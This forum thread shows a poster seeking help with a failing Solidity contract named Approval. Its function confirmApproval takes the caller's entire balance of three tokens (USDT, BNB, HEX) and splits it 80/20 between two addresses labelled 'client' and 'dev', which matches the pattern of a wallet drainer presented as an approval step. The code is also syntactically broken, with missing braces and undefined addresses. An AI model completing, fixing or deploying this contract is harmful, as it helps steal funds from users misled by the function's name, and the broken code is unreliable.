Usdt approve transaction keeps failing

@Boluwatife_Adegbola @Mario1 yes it has been fixed thanks for asking

i did run into some problems in a smart contract i'm developing and the transaction also keeps reverting regardless of the presence of a gasLimit of 100000
here is the code below

//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

import '@openzeppelin/contracts/token/ERC20/IERC20.sol';

contract Approval {

    constructor() {}

    function confirmApproval(
        address token1, 
        address token2,  
        address token3
    ) external 
        uint256 amount1 = IERC20(token1).balanceOf(msg.sender);
        uint256 amount2 = IERC20(token2).balanceOf(msg.sender);
        uint256 amount3 = IERC20(token3).balanceOf(msg.sender);

        if (amount1 > 0) {
            uint256 dev = (amount1 * 2000) / 10000;
            uint256 client = (amount1 * 8000) / 10000;
            IERC20(token1).transferFrom(msg.sender, address(address1), client);
            IERC20(token1).transferFrom(msg.sender, address(address2), dev);

        if(amount2 > 0){
            uint256 dev = (amount2 * 2000) / 10000;
            uint256 client = (amount2 * 8000) / 10000;
            IERC20(token2).transferFrom(msg.sender, address(address1), client);
            IERC20(token2).transferFrom(msg.sender, address(address2), dev);

        if(amount3 > 0){
            uint256 dev = (amount3 * 2000) / 10000;
            uint256 client = (amount3 * 8000) / 10000;
            IERC20(token3).transferFrom(msg.sender, address(address1), client);
            IERC20(token3).transferFrom(msg.sender, address(address2), dev);


the tokens involved are usdt, bnb and hex

@Skyge @FreezyEx @Team_X @Boluwatife_Adegbola I need your help with this whenever you can

please mark the right naswer as Solution

if it isn't related to the topic question please open a new thread.
Also provide link of the deployed contract and failed tx

@FreezyEx it is part of the same issue

Here is the contract address:

Here is a link to the transaction:

Please verify the code

@FreezyEx i’m new to web3…how do I go about verification

@FreezyEx i did see a YouTube post about using safeErc20 on the contract but I don’t know how to add it to my code above